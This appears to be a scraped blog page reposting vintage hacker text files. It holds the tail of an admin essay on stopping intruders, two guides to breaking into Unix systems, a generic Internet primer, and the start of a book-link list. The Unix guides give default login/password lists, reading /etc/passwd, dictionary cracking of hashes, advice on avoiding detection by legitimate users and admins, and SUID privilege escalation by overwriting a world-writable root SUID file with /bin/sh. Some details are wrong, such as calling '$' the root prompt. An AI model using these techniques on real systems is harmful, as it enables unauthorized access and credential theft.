packets. (This only applies to advanced admins who have control of the
router, but this will stop 90% of all uebercrackers from attempting your
site.)

Step 5. Apply all CERT and vendor patches to all of your machines. You have
just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper
to find if a uebercracker is knocking on your machines. Run ISS to make
sure that all your machines are reasonably secure as far as remote
configuration (ie. your NFS exports and anon FTP site.)

Step 7. If you have done all of the following, you will have stopped 99%
of all uebercrackers. Congrads! (Remember, You are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained
knowledge from reading some security expert's mail (probably gained access
to his mail via NFS exports or the guest account. You know how it is, like
the mechanic that always has a broken car, or the plumber that has the
broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts
that they are not so above the average citizen and that by now giving out
their unknown (except for the uebercrackers) security bugs, it would be a
service to Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and
new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts,
you will know be a looked upto as an elite security administrator that is
able to stop most uebercrackers. The final true test for being a ueberadmin
is to compile a IRC client, go onto #hack and log all the bragging and
help catch the uebercrackers. If a uebercracker does get into your system,
and he has used a new method you have never seen, you can probably tell
your other security admins and get half of the replies like - "That bug
been known for years, there just isn't any patches for it yet. Here's my
fix." and the other half of the replies will be like - "Wow. That is very
impressive. You have just moved up a big notch in my security circle."
VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups
mention anything about that security hole, Flame him for discussing it
since it could bring down Internet and all Uebercrackers will now have it
and the million other reasons to keep everything secret about security.

Well, this paper has shown the finer details of security on Internet. It has
shown both sides of the coin. Three points I would like to make that would
probably clean up most of the security problems on Internet are as the
following:

1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs
that have been floating around since the Internet Worm (6 years ago) fixed
and patched, then most uebercrackers would be stuck as new machines get
added to Internet. (I believe Uebercracker is german for "lame copy-cat
that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will
find it points to /dev/null. Maybe with enough mail, it will overfill
/dev/null. (Look in manual if confused.)

2. Security experts giving up the attitude that they are above the normal
Internet user and try to give out information that could lead to pressure
by other admins to vendors to come out with fixes and patches. Most
security experts probably don't realize how far their information has
already spread.

3. And probably one of the more important points is just following the
steps I have outlined for Stopping a Uebercracker.

A Trick by : http://infintytricks.blogspot.com/

2008-01-14T05:07:00.000-08:00

A BEGINNERS GUIDE TO H A C K I N G U N I X

IN THE FOLLOWING FILE, ALL REFERENCES MADE TO THE NAME UNIX, MAY ALSO BE SUBSTITUTED TO THE XENIX OPERATING SYSTEM.

BRIEF HISTORY: BACK IN THE EARLY SIXTIES, DURING THE DEVELOPMENT OF THIRD GENERATION COMPUTERS AT MIT, A GROUP OF PROGRAMMERS STUDYING THE POTENTIAL OF COMPUTERS, DISCOVERED THEIR ABILITY OF PERFORMING TWO OR MORE TASKS SIMULTANEOUSLY. BELL LABS, TAKING NOTICE OF THIS DISCOVERY, PROVIDED FUNDS FOR THEIR DEVELOPMENTAL SCIENTISTS TO INVESTIGATE INTO THIS NEW FRONTIER. AFTER ABOUT 2 YEARS OF DEVELOPMENTAL RESEARCH, THEY PRODUCED AN OPERATING SYSTEM THEY CANLMD "UNIX". SIXTIES TO CURRENT: DURING THIS TIME BELL SYSTEMS INSTALLED THE UNIX SYSTEM TO PROVIDE THEIR COMPUTER OPERATORS WITH THE ABILITY TO MULTITASK SO THAT THEY COULD BECOME MORE PRODUCTIVE, AND EFFICIENT. ONE OF THE SYSTEMS THEY PUT ON THE UNIX SYSTEM WAS CALLED "ELMOS". THROUGH ELMOS MANY TASKS (I.E. BILLING,AND INSTALLATION RECORDS) COULD BE DONE BY MANY PEOPLE USING THE SAME MAINFRAME. NOTE: COSMOS IS ACCESSED THROUGH THE ELMOS SYSTEM. CURRENT: TODAY, WITH THE DEVELOPMENT OF MICRO COMPUTERS, SUCH MULTITASKING CAN BE ACHIEVED BY A SCALED DOWN VERSION OF UNIX (BUT JUST AS POWERFUL). MICROSOFT,SEEING THIS DEVELOPMENT, OPTED TO DEVELOP THEIR OWN UNIX LIKE SYSTEM FOR THE IBM LINE OF PC/XT'S. THEIR RESULT THEY CALLED XENIX (PRONOUNCED ZEE-NICKS). BOTH UNIX AND XENIX CAN BE EASILY INSTALLED
ON IBM PC'S AND OFFER THE SAME FUNCTION
(JUST 2 DIFFERENT VENDORS).

NOTE: DUE TO THE MANY DIFFERENT
VERSIONS OF UNIX (BERKLEY UNIX,
BELL SYSTEM III, AND SYSTEM V
THE MOST POPULAR) MANY COMMANDS
FOLLOWING MAY/MAY NOT WORK. I HAVE
WRITTEN THEM IN SYSTEM V ROUTINES.
UNIX/XENIX OPERATING SYSTEMS WILL
BE CONSIDERED IDENTICAL SYSTEMS BELOW.

HOW TO TELL IF/IF NOT YOU ARE ON A
UNIX SYSTEM: UNIX SYSTEMS ARE QUITE
COMMON SYSTEMS ACROSS THE COUNTRY.
THEIR SECURITY APPEARS AS SUCH:

LOGIN; (OR LOGIN;)
PASSWORD:

WHEN HACKING ON A UNIX SYSTEM IT IS
BEST TO USE LOWERCASE BECAUSE THE UNIX
SYSTEM COMMANDS ARE ALL DONE IN LOWER-
CASE.
LOGIN; IS A 1-8 CHARACTER FIELD. IT IS
USUALLY THE NAME (I.E. JOE OR FRED)
OF THE USER, OR INITIALS (I.E. J.JONES
OR F.WILSON). HINTS FOR LOGIN NAMES
CAN BE FOUND TRASHING THE LOCATION OF
THE DIAL-UP (USE YOUR CN/A TO FIND
WHERE THE COMPUTER IS).
PASSWORD: IS A 1-8 CHARACTER PASSWORD
ASSIGNED BY THE SYSOP OR CHOSEN BY THE
USER.


     COMMON DEFAULT LOGINS
  --------------------------
  LOGIN;         PASSWORD:
  ROOT            ROOT,SYSTEM,ETC..
  SYS                SYS,SYSTEM
  DAEMON       DAEMON
  UUCP              UUCP
  TTY                 TTY
  TEST               TEST
  UNIX         UNIX
  BIN          BIN
  ADM          ADM
  WHO          WHO
  LEARN        LEARN
  UUHOST       UUHOST
  NUUCP        NUUCP

IF YOU GUESS A LGIN NAME AND YOU ARE
NOT ASKED FOR A PASSWORD, AND HAVE
ACCESSED TO THE SYSTEM, THEN YOU HAVE
WHAT IS KNOWN AS A NON-GIFTED ACCOUNT.
IF YOU GUESS A CORRECT LOGIN AND PASS-
WORD, THEN YOU HAVE A USER ACCOUNT.
AND, IF YOU GUESS THE ROOT PASSWORD,
THEN YOU HAVE A "SUPER-USER" ACCOUNT.
ALL UNIX SYSTEMS HAVE THE FOLLOWING
INSTALLED TO THEIR SYSTEM:
ROOT, SYS, BIN, DAEMON, UUCP, ADM
ONCE YOU ARE IN THE SYSTEM, YOU WILL
GET A PROMPT. COMMON PROMPTS ARE:

$
%
#

BUT CAN BE JUST ABOUT ANYTHING THE
SYSOP OR USER WANTS IT TO BE.

THINGS TO DO WHEN YOU ARE IN: SOME
OF THE COMMANDS THAT YOU MAY WANT TO
TRY FOLLOW BELOW:

WHO IS ON (SHOWS WHO IS CURRENTLY
LOGGED ON THE SYSTEM.)
WRITE NAME (NAME IS THE PERSON YOU
WISH TO CHAT WITH)
TO EXIT CHAT MODE TRY CTRL-D.
EOT=END OF TRANSFER.
LS -A (LIST ALL FILES IN CURRENT
DIRECTORY.)
DU -A (CHECKS AMOUNT OF MEMORY
YOUR FILES USE;DISK USAGE)
CD\NAME (NAME IS THE NAME OF THE
SUB-DIRECTORY YOU CHOOSE)
CD\ (BRINGS YOUR HOME DIRECTORY
TO CURRENT USE)
CAT NAME (NAME IS A FILENAME EITHER
A PROGRAM OR DOCUMENTATION
YOUR USERNAME HAS WRITTEN)
MOST UNIX PROGRAMS ARE WRITTEN
IN THE C LANGUAGE OR PASCAL
SINCE UNIX IS A PROGRAMMERS'
ENVIRONMENT.
ONE OF THE FIRST THINGS DONE ON THE
SYSTEM IS PRINT UP OR CAPTURE (IN A
BUFFER) THE FILE CONTAINING ALL USER
NAMES AND ACCOUNTS. THIS CAN BE DONE
BY DOING THE FOLLOWING COMMAND:

CAT /ETC/PASSWD

IF YOU ARE SUCCESSFUL YOU WILL A LIST
OF ALL ACCOUNTS ON THE SYSTEM. IT
SHOULD LOOK LIKE THIS:

ROOT:HVNSDCF:0:0:ROOT DIR:/:
JOE:MAJDNFD:1:1:JOE COOL:/BIN:/BIN/JOE
HAL::1:2:HAL SMITH:/BIN:/BIN/HAL

THE "ROOT" LINE TELLS THE FOLLOWING
INFO :
LOGIN NAME=ROOT
HVNSDCF = ENCRYPTED PASSWORD
0 = USER GROUP NUMBER
0 = USER NUMBER
ROOT DIR = NAME OF USER
/ = ROOT DIRECTORY

IN THE JOE LOGIN, THE LAST PART
"/BIN/JOE " TELLS US WHICH DIRECTORY
IS HIS HOME DIRECTORY (JOE) IS.

IN THE "HAL" EXAMPLE THE LOGIN NAME IS
FOLLOWED BY 2 COLONS, THAT MEANS THAT
THERE IS NO PASSWORD NEEDED TO GET IN
USING HIS NAME.

CONCLUSION: I HOPE THAT THIS FILE
WILL HELP OTHER NOVICE UNIX HACKERS
OBTAIN ACCESS TO THE UNIX/XENIX
SYSTEMS THAT THEY MAY FIND. THERE IS
STILL WIDE GROWTH IN THE FUTURE OF
UNIX, SO I HOPE USERS WILL NOT ABUSE
ANY SYSTEMS (UNIX OR ANY OTHERS) THAT
THEY MAY HAPPEN ACROSS ON THEIR
JOURNEY ACROSS THE ELECTRONIC HIGHWAYS OF AMERICA. THERE IS MUCH MORE TO BE LEARNED ABOUT THE UNIX SYSTEM THAT I HAVE NOT COVERED. THEY MAY BE FOUND BY BUYING A BOOK ON THE UNIX SYSTEM (HOW I LEARNED) OR IN THE FUTURE I MAY WRITE A PART II TO THIS........ Downloaded from P-80 Systems......

A Trick by : http://infintytricks.blogspot.com/

A Basic UNIX Overview

2008-01-14T05:01:00.000-08:00

A Basic UNIX Overview

UNIX FOR DOS ADDICTED WaReZ PuPPieZ AND THEIR PETS

Introduction
------------

One of the most common operating systems in existance is Unix. Unix
exists in many different flavors, from Berkeley BSD to AT&T System V
to SunOs. Basic working knowledge of Unix is almost essential to a
hacker, as it is the system a hacker is most likely to come across.
If you intend to use the internet at all, or to do any serious
exploration of Telenet, the ability to navigate through Unix is a
necessity. (Unix is also the single most interesting system in
existance: it's just fun to fuck with).

Unix Logins
-----------

Most Unix logins look essentially the same. A general Unix login
prompt looks something like this:

connected to five.finger.com
login:

That first line is the system identifier. Although it's not at all
essential to what you are doing, it's good to know what system you are
attempting to log on to.
The second line is what typically identifies the system you are on as
Unix. Almost all Unix systems greet a user with the same prompt:
login:.
Well, there's not much to do in Unix from the outside, and Unix
systems are typically fairly secure at this point. You may be able to
obtain a list of users, or current users, by logging in as 'who', but
other than that there are few functions available here.
Unless you are on the internet, or have accounts specifically for the
specific machine you are on, the only way on to the system is to try
the default passwords. What are the default passwords?
Unix systems come installed with certain passwords automatically. In
addition, some accounts must exist on a system. One such account is
'root'. This user is the divine Kami of the Unix system... in short,
an all access pass. Unfortunately, few systems allow root logins
remotely, and even fewer leave 'root' unpassworded. Nevertheless, it's
always worth a shot... try this:

connected to ren.stimpy.net
login: root
password: root
invalid login
login:

well, nice try anyways... other possible passwords for root include
'sysadmin', 'sys', 'admin'... you get the idea. You may also want to
try these passwords with a single digit appended (added, idiot) to
them... meaning the password 'root' could be 'root1' or 'root2'.
An interesting tip about passwords in general... many people that use
passwords under 8 characters tend to add a digit or a non-alphanumeric
character to the password. This is done in order to hinder guessing,
and to stop password breakers (more on this later). In this case, you
may want to try adding a space before root... or even an ascii 255 to
the end.
Fortunately, there is more than one default password in a unix
system... a quick list:

sys sys
bin bin
daemon daemon
rje rje
setup setup
uucp uucp/nuucp/anonymous
nuucp uucp/nuucp/anonymous
mountfsys mountfsys

In the System
-------------

Ok, at this point, I'm going to assume you've gotten past the login...
as painful as that may sound. Although Unix may be secure from the
outside, without effort from the system administrators, the inside of
the system is not.
First off, you'll likely by asked for a terminal. vt100 serves your
purposes sufficently, and it's typically the default, so hit enter.
Now, hopefully, you have a prompt. There are many different types of
unix prompts, some of which contain current directory information,
some of which are just a single character. Just don't panic when my
examples don't look exactly like what you've got on your screen.
The first thing you *need* to do on the system is establish your tty
paramters. As eldritch and arcane sounding as this term may seem, it's
actually quite simple... you need to tell the system what keys are
going to do what.
The command to set these parameters is 'stty'. Watch:

squinkyB ] stty erase ^h
squinkyB ]

There... that wasn't so bad, was it? Well, it's also pretty
meaningless to you, unless you have the ascii table memorized and are
pretty good at on-the-spot deduction.
The tty erase parameters determines which key is to be used as a
backspace. At times, this may already be set when you log in, or it
may be set to a suitable alternate (such as delete). Most of the time
the system will tell you when you log on if this is so. In this case,
we've entered ^h in order to make the backspace key, appropriately
enough, backspace.
Another extremely important parameter is 'intr'. The 'intr' paramter
tells the Unix system what you intend to use as a break character...
you should have this set to ^c.

Getting Around
--------------

A good thing to remember about Unix is that it's alot like DOS. Files
are laid out in directories just as in DOS... in fact, the only
immediate difference in the directory structures is that Unix uses a
forward slash ("/", moron!) instead of a backwards one.
Also, the basic Unix directory navigation command is identical to DOS.
In order to change directories, you use the command 'chdir', or 'cd'.
A quick example:

1 /usr1/astoria ] cd ..
2 /usr ]

Wala. That simple. Quick notes:

ю cd / will take you to root.
ю cd /*pathname* will take you to *pathname*
ю cd home will take you to your home directory.

You can make and delete your own directories with the mkdir/rmdir
commands. Simply put, mkdir makes a subdirectory off of the current
directory, and rmdir removes a subdirectory from the current
subdirectory. Good to know if you plan to do a lot of file transfers.
An important note about Unix directories, files, and concepts:
Unix is a case-sensitive operating system. Thus, the files

ю Spleen
ю spleen
ю SPLEEN
ю SpLeEn

are all different. This rule applies to directories and command line
paramters, as well as most other Unix ideas.
Another nice thing to know about Unix: Unix files are not subject to
the normal DOS 8 character limit. Thus, you can have vast filenames,
such as "this_file_ate_my_biscuit".

Some other important commands
-----------------------------

First and foremost, you should know cp. cp is the basic Unix
equivalent of the DOS COPY command. The command line for cp is
identical to that of COPY.
Next on the scale of cosmic import is cat. cat is the Unix equivalent
of the DOS TYPE command, and once again, for simple file displaying,
the command line is identical.
Variations on the theme:
pg: displayes a file page by page. Type "pg x filename", where x is a
number of lines to display before pausing and filename is the
file you wish to display.
more: displays a file screen by screen.
Stupid pet trick:
You can use your cat to copy files, simply by using the directional
operators. To copy a file from here to there using cat, simply type:

% cat here
this is the file here
% cat there
this is the file there
% cat here > there
% cat there
this is the file here

The operator ">" simply takes the output from the cat command and
places is in the location specified after it.
Another vital command to know is 'rm'. rm deletes a file from the
system, in the same way DEL would on a DOS system. Not to much else to
say.
Critical in your navigation of a Unix system is the ls command. ls is
DOS DIR on heroin. Simply type ls and you get a nice, neat list of
files in the directory.
DIR on controlled substances:
There are a few command line parameters that you should know...
foremost is l. ls -l gets you a list of files, and valuable
information about each file, including permissions (more on that
later), size, and linked files.
Another useful command for long file lists is C. ls -C gets you a
list of files in multiple columns, much the same as DIR /W would
merit a double column report of all existing files. A quick reminder:
ls -C is NOT the same as ls -c. Unix = case sensitive.
Another good command to know, mv will move a file from directory to
directory. For those of you without DOS 6.0 , mv simply copies a
file to another directory and deletes the original.
quick tip for files on the lam:
if you want to rename a file (to protect the innocent), you need to
mv a file to a different file name. A quick demo:

# ls
myfile
# cat myfile
this is my file
# mv myfile my_other_file
# ls
my_other_file
# cat my_other_file
this is my file

Another vastly important command is 'man'. In fact, man is probably
one of the most important commands extant for a beginning user... it
calls up the system's help files. To use man, simply type in 'man
command', where command is a Unix command you seek to gain
enlightenment regarding. It's a great way to gain an understanding of
Unix commandline parameters.
If you are interested in seeing who's been on of late, or just want a
few names to try to hack, type 'who'. You get a quick list of users
that have accessed the system lately. If you need to know
who you are at this point, type 'whoami'.
If you want to change your identity on the system, type 'su name'
where name is an account on the system. It'll ask you for the account
password, then, *presto*... instant transmogrification.
A Caveat for smart alec hackers:
Unix typically logs usage of the su command. While su may seem like a
great opportunity to try to hack out passwords manually without
worrying about the system hanging up after 3 attempts, it's typically
not a good idea to do this, as it may alert the administrators to
your presence.
*Numero Uno on the list of commands NEVER to use on a Unix system:
The 'passwd' command changes your password on a Unix system. Seems
innocous enough, eh? Uh-uh. If your account is active, and there's a
very strong chance that it either is or will be, there is no better
way to lose the account than to change the password, only to have the
legitimate user alert the sysadmins when he/she can't gain access to
his/her normal account (well, there are better ways... you could
simply mail the sysadmin and tell him you are trying to hack his
grandmother's life support machine through your account).
I've seen this single, quick command turn a extremely lax system
into an ironclad security compound in less than a day.
DONT-FUCK-WITH-IT.
*Numero Dos on that same list:
The 'mail' command reads and sends mail. So what? Well, unless your
account is stable (and it isn't unless you either paid for it or
killed the original owner in such a way that his body cannot claw it's
way out of it's grave to it's keyboard), the user is more likely than
not going to know if you read his mail. In addition, if you send mail
out of the system (type 'mail', and a username/address; type in your
message and end it with a ^d on it's own line), the response from your
message will likewise alert the user to your presence.

System Spelunking
-----------------

The first place you want to check out in the wild uncharted directory
tree of your friendly neighborhood Unix system is the "/etc"
directory. What's in it? The single most intensely important file on
the system (besides a world writable root owned SUID file... but don't
worry about that)... the passwd file.
What is in the passwd file?

ю a list of all accounts on the system
ю a list of the passwords for these accounts
ю a list of access levels for these accounts
ю a list of the home directories for these accounts
ю a list of information pertaining to these accounts.

Why the hell the Unix designers decided this file should be world
readable is beyond me. Be content to know that your standard everyday
run-of-the-mill-lacking-in-certified-cosmic-power 'cat' command WILL
display this file. As will pg and more. However, because most users
don't have write permissions (more on that later) to the /etc
directory, 'cat' is pretty much the only applicable command here.
However, if you need to copy the file to your own directory (for
whatever reason), just cat it there with the directional operator (>).
The catch:
Well, there are two catches here. First off, regardless of system
security, if the passwords are in the file, they are encrypted. You
can't decrypt them. Although you can get a list of accounts without
passwords this way (just look for accounts with no entry in the
password field), and a list of accounts that can't be logged onto
remotely/at all (NO LOGIN), you can't get much else. Sucks, don't it?
Notice I said 'if' the passwords are there.

Some horrible, paranoid, draconian system administrators mutilate
their passwd files in such a way that (*gasp*) the passwords don't
show up. All you get is one cold, icy X staring at you from the bowels
of Unix Shell Siberia, mocking you as you pull your hair out in
frustration (sorry, but this is a sore spot with me). The kidnapped
passwords reside in the shadow file in the /etc directory, available
with your standard everyday run-of-the-mill-but-distinct-in-the-fact-
that-only-root-level-accounts-can-use-it-to-this-extent 'cat' command.
Well, if the passwords are encrypted, what good are they?
By themselves, nothing. A account with a Unix encrypted password will
get you no further than an account with no listed password at all. You
can't even deduce the amount of characters in the password if it's
encrypted. So what's the use?
The Unix method of encrypting files is available to the public. It is
also, to most mortals, irreversable. Essentially, this means you can
encrypt a string of characters, but not decrypt it. Even the unix
system itself doesn't decrypt the password when you log on...
When you log on, the Unix system takes whatever you enter at the
password prompt, encrypts it, and matches it to the entry in the
passwd file. Thus, the Unix system never decrypts the password... it
only compares it to a different encrypted string.
While this may not sound too particularly useful at first, it is.
There are programs that have been written to do the same thing on a
personal computer... you supply it a list of passwords and a list of
words to attempt to use as passwords (called dictionaries), and it
spends the night encrypting dictionaries and matching them to password
entries. By running a dictionary through a passwd file, on a typical
system, you can usually get 10-20 accounts. Good personal computer
examples of this program idea include Killer Cracker (the industry
standard, so to speak) and CrackerJack (faster than Killer Cracker).
Quick tips for CrackerJunkies with leech access at an H/P BBS:
A standard dictionary will not uncover passwords protected with an
appended digit or non-alphanumeric character. In order to get around
this, you need only grab a program that processes the dictionary file
to add that digit to each entry in the dictionary... although this
takes longer, and you'll need to do it multiple times, you can
typically get 10 more accounts just by adding a 1 to every entry.
Files and directories in Unix are characterized further by their
permissions. Permissions are a standard system of who gets access to a
specific function of that file or directory. Standard permissions
include read, write, and execute. You can get a list of permissions by
typing 'ls -l'. The first field in the listing contains the
permissions, grouped as follows:

owner group world
--------------------
rwx rwx rwx

(Not drawn to scale... in fact, it doesn't look anything like that).
Essentially, as long as the letter is there, you have access to that
facet of the file. If the letter is not there, you'll see a dash...
meaning you don't have access to that function. An example:

rwxr-x--x

In this case, the owner of the file can Read the file, Write to the
file, and eXecute the file; members of his group (a bunch of linked
accounts) can Read the file, CANNOT Write to the file, and can eXecute
the file; and the rest of the user population CANNOT Read or Write to
the file, but CAN eXecute the file.

rwx---rwx

is a WORLD-READABLE, WORLD-WRITABLE, WORLD-EXECUTABLE file. This
simply means that anyone can read, write, or execute the file.

Another permission sometimes set to a file is the SUID bit. An SUID
file contains a smallcase s in the user executable section of the
permissions list...

rws--x--x

When you execute an SUID file, your user ID becomes that of the owner
of the file. While this may not look to important at first, by now you
should know that no really important super elite hacker concept does.
Take a look at this:

rwsr-x--x

Synopsis? It's a world executable SUID file. In essence, anyone can
execute the file, and in doing so, become the owner of the file for
the duration of the time that file is operating. However, this doesn't
get you much, because you typically can't do anything while the
programis running. More likely than not, it's calculating how many
pencils it needs to order for school tomorrow or some other such
drivel.
The real power of the SUID file comes into play in this situation:

rwsrwxrwx

You won't see a lot of these, but when you do, look out. What you have
here is a world writable SUID file... and a world writable program can
be any program on the system you have read access to. Like, say,
/bin/sh... the Unix shell...
Quick command line example... 'diablo' is a root owned, world writable
SUID file. I'm going to ignore the rest of the output of the ls
command.

#ls -l
rwsrwxrwx... ...diablo
#cat /bin/sh > diablo
#diablo
$

Oh, just so you know, the $ prompt denotes root access.
Good deal, huh? In general, if you have right privs to an SUID file,
copy it to your own directory and cat /bin/sh into it. You now have an
instant gateway to the account of the owner of that file.
If you want to find files that you can do this with, try this out:

#find / -user root -perm -4000 -exec /bin/ls -al {} ";"

This will give you a list of all root owned SUID files. If you want
more info on the 'find' command, just 'man find'.

A Trick by : WWW.infintytricks.blogspot.com

A Basic Guide to the Internet

2008-01-14T04:59:00.000-08:00

A Basic Guide to the Internet

The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.

No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.

All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.

An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.

The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.

--------------------------------------------------------------------------------

COMPONENTS OF THE INTERNET

--------------------------------------------------------------------------------

WORLD WIDE WEB
The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.

The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.

The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.

Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.

The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.

The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.

For more complete information about the World Wide Web, see Understanding The World Wide Web.

E-MAIL
Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.

A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.

TELNET
Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.

Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.

With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.

FTP
FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.

If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.

FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.

E-MAIL DISCUSSION GROUPS
One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.

A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.

Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.

USENET NEWS
Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.

Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.

There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.

The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.

FAQ, RFC, FYI
FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.

RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.

FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.

Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.

CHAT & INSTANT MESSENGING
Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.

Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.

A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online's Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.

Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.

MUD/MUSH/MOO/MUCK/DUM/MUSE
MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge. For more information, read one of the FAQs devoted to MUDs available at the FAQ site at

A Trick by : WWW.infintytricks.blogspot.com

250+ Tech books online

2008-01-14T04:51:00.000-08:00

250+ Tech books online

1
10 minute guide to lotus notes mail 4.5
http://www.parsian.net/set1252/pages/books.htm

2
10 minute guide to Microsoft exchange 5.0
http://www.parsian.net/set1252/pages/books.htm

3
